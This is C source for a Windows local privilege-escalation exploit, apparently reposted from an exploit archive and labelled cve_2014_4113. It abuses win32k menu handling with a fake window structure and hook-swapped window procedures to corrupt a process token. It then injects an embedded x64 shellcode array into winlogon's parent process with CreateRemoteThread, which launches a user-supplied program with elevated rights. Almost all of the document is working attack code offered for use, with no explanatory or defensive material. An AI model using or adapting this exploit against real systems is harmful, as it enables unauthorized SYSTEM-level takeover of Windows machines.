Kod:
#include "hd.h"
// EDB Note ~ Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46945.rar
byte __s_code[]={
0x48 ,0x8B ,0xC4 ,0x48 ,0x89 ,0x58 ,0x08 ,0x48 ,0x89 ,0x68 ,0x20 ,0x56 ,0x57 ,0x41 ,0x56 ,0x48 ,
0x81 ,0xEC ,0xE0 ,0x00 ,0x00 ,0x00 ,0x45 ,0x33 ,0xF6 ,0x49 ,0x89 ,0xCB ,0x4C ,0x89 ,0x70 ,0x18 ,
0x4C ,0x89 ,0x70 ,0x10 ,0x90 ,0x65 ,0x48 ,0x8B ,0x04 ,0x25 ,0x30 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8B ,
0x40 ,0x60 ,0x90 ,0x90 ,0x90 ,0x90 ,0x48 ,0x8B ,0x78 ,0x18 ,0x48 ,0x8B ,0x47 ,0x10 ,0x48 ,0x83 ,
0xC7 ,0x10 ,0x48 ,0x3B ,0xC7 ,0x0F ,0x84 ,0x99 ,0x01 ,0x00 ,0x00 ,0x48 ,0xBB ,0x65 ,0x00 ,0x6C ,
0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x48 ,0xBE ,0x2E ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x6C ,0x00 ,0x49 ,
0xBA ,0x6B ,0x00 ,0x65 ,0x00 ,0x72 ,0x00 ,0x6E ,0x00 ,0x48 ,0xBD ,0x4B ,0x00 ,0x45 ,0x00 ,0x52 ,
0x00 ,0x4E ,0x00 ,0x49 ,0xB8 ,0x45 ,0x00 ,0x4C ,0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x49 ,0xB9 ,0x2E ,
0x00 ,0x44 ,0x00 ,0x4C ,0x00 ,0x4C ,0x00 ,0x66 ,0x0F ,0x1F ,0x84 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,
0x66 ,0x83 ,0x78 ,0x58 ,0x18 ,0x48 ,0x8B ,0x48 ,0x60 ,0x72 ,0x25 ,0x48 ,0x8B ,0x11 ,0x49 ,0x3B ,
0xD2 ,0x75 ,0x0C ,0x48 ,0x39 ,0x59 ,0x08 ,0x75 ,0x06 ,0x48 ,0x39 ,0x71 ,0x10 ,0x74 ,0x1E ,0x48 ,
0x3B ,0xD5 ,0x75 ,0x0C ,0x4C ,0x39 ,0x41 ,0x08 ,0x75 ,0x06 ,0x4C ,0x39 ,0x49 ,0x10 ,0x74 ,0x0D ,
0x48 ,0x8B ,0x00 ,0x48 ,0x3B ,0xC7 ,0x75 ,0xC8 ,0xE9 ,0x17 ,0x01 ,0x00 ,0x00 ,0x48 ,0x8B ,0x78 ,
0x30 ,0x48 ,0x85 ,0xFF ,0x0F ,0x84 ,0x0A ,0x01 ,0x00 ,0x00 ,0x48 ,0x63 ,0x47 ,0x3C ,0xB9 ,0x4D ,
0x5A ,0x00 ,0x00 ,0x66 ,0x39 ,0x0F ,0x0F ,0x85 ,0xF8 ,0x00 ,0x00 ,0x00 ,0x81 ,0x3C ,0x38 ,0x50 ,
0x45 ,0x00 ,0x00 ,0x0F ,0x85 ,0xEB ,0x00 ,0x00 ,0x00 ,0x44 ,0x8B ,0x8C ,0x38 ,0x88 ,0x00 ,0x00 ,
0x00 ,0x49 ,0x8B ,0xD6 ,0x4C ,0x03 ,0xCF ,0x45 ,0x8B ,0x41 ,0x20 ,0x41 ,0x8B ,0x49 ,0x18 ,0x4C ,
0x03 ,0xC7 ,0x48 ,0x85 ,0xC9 ,0x74 ,0x32 ,0x48 ,0xBB ,0x43 ,0x72 ,0x65 ,0x61 ,0x74 ,0x65 ,0x50 ,
0x72 ,0x49 ,0xBA ,0x72 ,0x6F ,0x63 ,0x65 ,0x73 ,0x73 ,0x41 ,0x00 ,0x0F ,0x1F ,0x44 ,0x00 ,0x00 ,
0x41 ,0x8B ,0x04 ,0x90 ,0x48 ,0x39 ,0x1C ,0x38 ,0x75 ,0x07 ,0x4C ,0x39 ,0x54 ,0x38 ,0x07 ,0x74 ,
0x08 ,0x48 ,0xFF ,0xC2 ,0x48 ,0x3B ,0xD1 ,0x72 ,0xE7 ,0x33 ,0xC0 ,0x48 ,0x3B ,0xD1 ,0x0F ,0x83 ,
0x92 ,0x00 ,0x00 ,0x00 ,0x41 ,0x8B ,0x49 ,0x24 ,0x45 ,0x33 ,0xC0 ,0x48 ,0x03 ,0xCF ,0x0F ,0xB7 ,
0x14 ,0x51 ,0x41 ,0x8B ,0x49 ,0x1C ,0x45 ,0x33 ,0xC9 ,0x48 ,0x03 ,0xCF ,0x44 ,0x8B ,0x14 ,0x91 ,
0x48 ,0x89 ,0x44 ,0x24 ,0x58 ,0x48 ,0x89 ,0x44 ,0x24 ,0x60 ,0x4C ,0x03 ,0xD7 ,0x48 ,0x8D ,0x7C ,
0x24 ,0x70 ,0xB9 ,0x68 ,0x00 ,0x00 ,0x00 ,0xF3 ,0xAA ,0xB8 ,0x05 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
0xD3 ,0x66 ,0x89 ,0x84 ,0x24 ,0xB0 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8D ,0x44 ,0x24 ,0x50 ,0x33 ,0xC9 ,
0x48 ,0x89 ,0x44 ,0x24 ,0x48 ,0x48 ,0x8D ,0x44 ,0x24 ,0x70 ,0x4C ,0x89 ,0x74 ,0x24 ,0x50 ,0x48 ,
0x89 ,0x44 ,0x24 ,0x40 ,0x4C ,0x89 ,0x74 ,0x24 ,0x38 ,0x4C ,0x89 ,0x74 ,0x24 ,0x30 ,0xC7 ,0x44 ,
0x24 ,0x28 ,0x10 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x70 ,0x68 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x84 ,
0x24 ,0xAC ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x20 ,0x01 ,0x00 ,0x00 ,
0x00 ,0x41 ,0xFF ,0xD2 ,0x33 ,0xC0 ,0x4C ,0x8D ,0x9C ,0x24 ,0xE0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
0x5B ,0x20 ,0x49 ,0x8B ,0x6B ,0x38 ,0x49 ,0x8B ,0xE3 ,0x41 ,0x5E ,0x5F ,0x5E ,0xC3
};
HMENU __init_menu(
)
{
HMENU hMenu_Ret=NULL;
MENUITEMINFO mItem={0};
do
{
HMENU hme=CreatePopupMenu();
if (hme==NULL){
printf("CreatePopupMenu()_1 fail:0x%x\n" ,GetLastError());
break;
}
mItem.cbSize=sizeof(MENUITEMINFO);
mItem.fMask=(MIIM_STRING);
bool bisok=InsertMenuItem(hme ,0 ,1 ,&mItem);
if (bisok==false){
printf("InsertMenuItem()_1 fail:0x%x\n" ,GetLastError());
break;
}
hMenu_Ret=CreatePopupMenu();
if (hMenu_Ret==NULL){
printf("CreatePopupMenu()_2 fail:0x%x\n" ,GetLastError());
break;
}
MENUITEMINFO mi={0};
mi.cbSize=sizeof(mi);
mi.fMask=(MIIM_STRING|MIIM_SUBMENU);
mi.hSubMenu=hme;
mi.dwTypeData="";
mi.cch=1;
bisok=InsertMenuItem(hMenu_Ret ,0 ,1 ,&mi);
if (bisok==false){
printf("InsertMenuItem()_2 fail: 0x%x\n" ,GetLastError());
}
} while (false);
return hMenu_Ret;
}
PVOID __calc_sep_token_addr(
)
{
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION handleInfo=NULL;
ULONGLONG handleInfoSize = 0x10000 ,i ,ret_obj_addr=NULL;
do
{
_NtQuerySystemInformation NtQuerySystemInformation =
(_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");
_NtDuplicateObject NtDuplicateObject =
(_NtDuplicateObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDuplicateObject");
_NtQueryObject NtQueryObject =
(_NtQueryObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryObject");
if (!NtQuerySystemInformation || !NtDuplicateObject || !NtQueryObject){
printf("get sys proc failed!\n");
break;
}
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation,handleInfo,
handleInfoSize,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
if (!NT_SUCCESS(status)){
printf("NtQuerySystemInformation failed!\n");
break;
}
POBJECT_TYPE_INFORMATION objectTypeInfo=(POBJECT_TYPE_INFORMATION)malloc(0x1000);
for (i = 0; i < handleInfo->HandleCount; i++)
{
SYSTEM_HANDLE handle = handleInfo->Handles[i];
if (handle.ProcessId != GetCurrentProcessId())
continue;
if (!NT_SUCCESS(NtQueryObject(
(HANDLE)handle.Handle,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL
)))
{
printf("[%#x] Error!\n", handle.Handle);
continue;
}
if (objectTypeInfo->Name.Buffer==NULL || objectTypeInfo->Name.Length==0)
continue;
if (wcscmp(objectTypeInfo->Name.Buffer ,L"Token"))
continue;
ret_obj_addr=((ULONGLONG)handle.Object+0x40);
}
if (objectTypeInfo)
free(objectTypeInfo);
if (handleInfo)
free(handleInfo);
} while (false);
return (PVOID)ret_obj_addr;
}
ULONGLONG __calc_pid(
)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION PsInfo=NULL;
ULONGLONG PsInfoSize = 0x10000 ,ret_pid=NULL;
do
{
_NtQuerySystemInformation NtQuerySystemInformation =
(_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation){
printf("get sys proc failed!\n");
break;
}
PsInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(PsInfoSize);
while ((status = NtQuerySystemInformation(SystemProcessesAndThreadsInformation,PsInfo,
PsInfoSize ,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
PsInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(PsInfo, PsInfoSize*= 2);
if (!NT_SUCCESS(status)){
printf("NtQuerySystemInformation failed!\n");
break;
}
for (;PsInfo->NextEntryDelta ;PsInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONGLONG)PsInfo + PsInfo->NextEntryDelta))
{
if (PsInfo->ProcessName.Buffer==NULL || PsInfo->ProcessName.Length==0)
continue;
if (!wcscmp(PsInfo->ProcessName.Buffer ,L"winlogon.exe")){
ret_pid=PsInfo->InheritedFromProcessId;
break;
}
}
} while (false);
return ret_pid;
}
ULONGLONG __init_fake_wnd_pti(
)
{
ULONGLONG ret_pti=NULL;
ULONGLONG dst_proc_addr=NULL;
do
{
ret_pti=(ULONGLONG)malloc(0x500);
if (ret_pti==NULL){
printf("malloc fail!\n");
return NULL;
}
*(ULONGLONG*)(ret_pti+_oft_win32ps_pti)=0; //Win32Process
*(DWORD*)(ret_pti+_oft_0420h_pti)=0; //not 0x20
*(ULONGLONG*)(ret_pti+_oft_list_header_pti)=(ULONGLONG)__calc_sep_token_addr()-0x5; //TODO:
void* tmpbuf=malloc(0x100);
memset(tmpbuf ,0 ,0x100);
*(ULONGLONG*)(ret_pti+_oft_0188h_pti)=(ULONGLONG)tmpbuf; //buf addr(size >= 0x12) ,check in win32k!SetWakeBit
} while (false);
return ret_pti;
}
bool __init_fake_tagWnd(
)
{
bool bRet=false;
_ZwAllocateVirtualMemory_pt pfn_ZwAllocateVm=NULL;
do
{
HMODULE hmd=LoadLibrary("ntdll.dll");
if (hmd==NULL)
break;
ULONGLONG fake_tagwnd_pti=__init_fake_wnd_pti();
if (fake_tagwnd_pti==NULL){
printf("__calc_wnd_pti() fail!\n");
break;
}
pfn_ZwAllocateVm=(_ZwAllocateVirtualMemory_pt)GetProcAddress(hmd ,"ZwAllocateVirtualMemory");
if (pfn_ZwAllocateVm==NULL){
printf("pfn ZwAllocateVirtualMemery addr is NULL!\n");
break;
}
BYTE* fake_tagWnd_addr=(BYTE*)0xFFFFFFFB; size_t region_size=0x20000;
NTSTATUS status=pfn_ZwAllocateVm(GetCurrentProcess() ,(PVOID*)&fake_tagWnd_addr ,0 ,®ion_size,
MEM_RESERVE | MEM_COMMIT|MEM_TOP_DOWN ,PAGE_EXECUTE_READWRITE);
if (status < 0){
printf("Allocate fake tagWnd fail!\n");
break;;
}
ULONGLONG ul_align=0xFFFFFFFBLL-(ULONGLONG)fake_tagWnd_addr;
if (ul_align > 0x10000){
printf("alloc fake fail: %x!\n" ,fake_tagWnd_addr);
break;
}
memset(fake_tagWnd_addr+ul_align ,0 ,0x1000);
*(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_idx_tagWND)=0x0;
*(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_pti_tagWnd)=fake_tagwnd_pti; //oft 0x170 == win32process
*(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_18h_tagWnd)=0x0; //0 ,check in IsWindowDesktopComposed
bRet=true;
} while (false);
return bRet;
}
LRESULT __stdcall __wh_wnd_proc(
int code,
WPARAM wparam,
LPARAM lparam
)
{
do
{
CWPSTRUCT* lpm=(CWPSTRUCT*)lparam;
if (lpm->message != MN_FINDWINDOWFROMPOINT || g_bis_mn_findwnded==true)
break;
g_bis_mn_findwnded=true;
UnhookWindowsHook(WH_CALLWNDPROC ,__wh_wnd_proc);
g_ori_wnd_proc=(WNDPROC)SetWindowLongPtr(lpm->hwnd ,GWLP_WNDPROC ,(LONG_PTR)__wnd_proc_sl);
} while (false);
return CallNextHookEx(g_hhk ,code ,wparam ,lparam);
}
LRESULT __wnd_proc_sl(
HWND hwnd,
UINT umsg,
WPARAM wparam,
LPARAM lparam
)
{
do
{
if (umsg != MN_FINDWINDOWFROMPOINT )
break;
if (g_bis_endmenu)
break;
g_bis_endmenu=1;
EndMenu();
return 0xFFFFFFFB;
} while (false);
return CallWindowProc(g_ori_wnd_proc ,hwnd ,umsg ,wparam ,lparam);
}
LRESULT __stdcall __wnd_proc(
HWND hwnd,
UINT umsg,
WPARAM wparam,
LPARAM lparam
)
{
if (umsg==WM_ENTERIDLE && g_bis_idled==FALSE)
{
g_bis_idled=TRUE;
PostMessage(hwnd ,WM_KEYFIRST ,0x28 ,0);
PostMessage(hwnd ,WM_KEYFIRST ,0X27 ,0);
PostMessage(hwnd ,WM_LBUTTONDOWN ,0 ,0xff00ff);
}
return DefWindowProc(hwnd ,umsg ,wparam ,lparam);
}
DWORD __stdcall __thread_plroc(
void* param
)
{
bool bisok=false;
WNDCLASS wndcls={0};
do
{
wndcls.lpfnWndProc=__wnd_proc;
wndcls.lpszClassName="cve_2014_4113";
RegisterClass(&wndcls);
HWND hwnd=CreateWindowEx(0 ,wndcls.lpszClassName ,NULL ,0 ,0 ,0,
200 ,200 ,NULL ,NULL ,NULL ,NULL);
if (hwnd==NULL){
printf("CreateWindowEx() fail: 0x%x\n" ,GetLastError());
break;
}
HMENU hmenu=__init_menu();
if (hmenu==NULL){
printf("__init_menu() fail: 0x%x\n" ,GetLastError());
break;
}
bool bisok=__init_fake_tagWnd();
if (bisok==false){
printf("__init_fake_tagWnd() fail:0x%x\n" ,GetLastError());
break;
}
g_hhk=SetWindowsHookEx(WH_CALLWNDPROC ,__wh_wnd_proc ,NULL ,GetCurrentThreadId());
if (g_hhk==NULL){
printf("SetWindowsHookEx() fail:0x%x\n" ,GetLastError());
break;
}
bisok=TrackPopupMenu(hmenu ,0 ,0x0FFFFD8F0 ,0x0FFFFD8F0 ,0 ,hwnd ,NULL);
if (bisok==false){
printf("TrackPopupMenu() fail:0x%x\n" ,GetLastError());
break;
}
CloseHandle(hmenu);
DestroyWindow(hwnd);
} while (FALSE);
return 0;
}
int main(
int argc ,char** argv
)
{
bool bisok=false;
do
{
if (argc != 2){
printf("usage: xxx fpath");
break;
}
HANDLE hProcessToken=NULL ,hRestrictedToken=NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken)) {
printf("Could not open process token\n");
break;
}
if (!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, &hRestrictedToken)){
printf("Could not create restricted token\n");
break;
}
if (!AdjustTokenPrivileges(hRestrictedToken, TRUE, NULL, 0, NULL, NULL)) {
printf("Could not adjust privileges\n");
break;
}
CloseHandle(hProcessToken);
HANDLE hthread=CreateThread(NULL ,0 ,__thread_plroc ,NULL ,0 ,NULL);
if (hthread==NULL){
printf("CreateThread() fail: 0x%x\n" ,GetLastError());
break;
}
WaitForSingleObject(hthread ,1000);
TerminateThread(hthread ,0);
if (!ImpersonateLoggedOnUser(hRestrictedToken)){
printf("ImpersonateLoggedOnUser failed!\n");
break;
}
PVOID pfn_cps=GetProcAddress(LoadLibrary("Kernel32.dll") ,"CreateProcessA");
if (pfn_cps==NULL){
printf("GetProcess CreateProcessA failed!\n");
break;
}
ULONGLONG ul_pid_winlogon=__calc_pid();
if (ul_pid_winlogon==NULL){
printf("__calc_winlogon_pid failed!\n");
break;
}
HANDLE hprocess=OpenProcess(PROCESS_ALL_ACCESS ,TRUE ,ul_pid_winlogon);
if (hprocess==NULL){
printf("OpenProcess failed: %x\n" ,GetLastError());
break;
}
//init params
PVOID params=VirtualAllocEx(hprocess ,NULL ,strlen(argv[1])+10 ,MEM_COMMIT ,PAGE_READWRITE);
if (params==NULL){
printf("VirtualAllocEx failed:%x\n" ,GetLastError());
break;
}
ULONGLONG ul_ret_wrt=0;
bisok=WriteProcessMemory(hprocess ,params ,argv[1] ,strlen(argv[1])+2 ,(SIZE_T*)&ul_ret_wrt);
if (bisok==false || ul_ret_wrt < strlen(argv[1])+2){
printf("WriteProcessMemory() failed!\n");
break;
}
//init shellcode
PVOID shellcode=VirtualAllocEx(hprocess ,NULL ,0x220 ,MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
if (shellcode==NULL){
printf("VirtualAllocEx failed:%x\n" ,GetLastError());
break;
}
bisok=WriteProcessMemory(hprocess ,shellcode ,__s_code ,sizeof(__s_code) ,(SIZE_T*)&ul_ret_wrt);
if (bisok==false || ul_ret_wrt < sizeof(__s_code)){
printf("WriteProcessMemory() failed!\n");
break;
}
DWORD dw_tid=0;
HANDLE htd_rmt=CreateRemoteThread(hprocess ,NULL ,0 ,(LPTHREAD_START_ROUTINE )shellcode ,params ,0 ,&dw_tid);
if (htd_rmt==NULL){
printf("CreateRemoteThread() fail!\n");
break;
}
//clear
CloseHandle(htd_rmt);
CloseHandle(hprocess);
CloseHandle(hRestrictedToken);
} while (false);
return 0;
}
# 0day.today [2019-05-31] #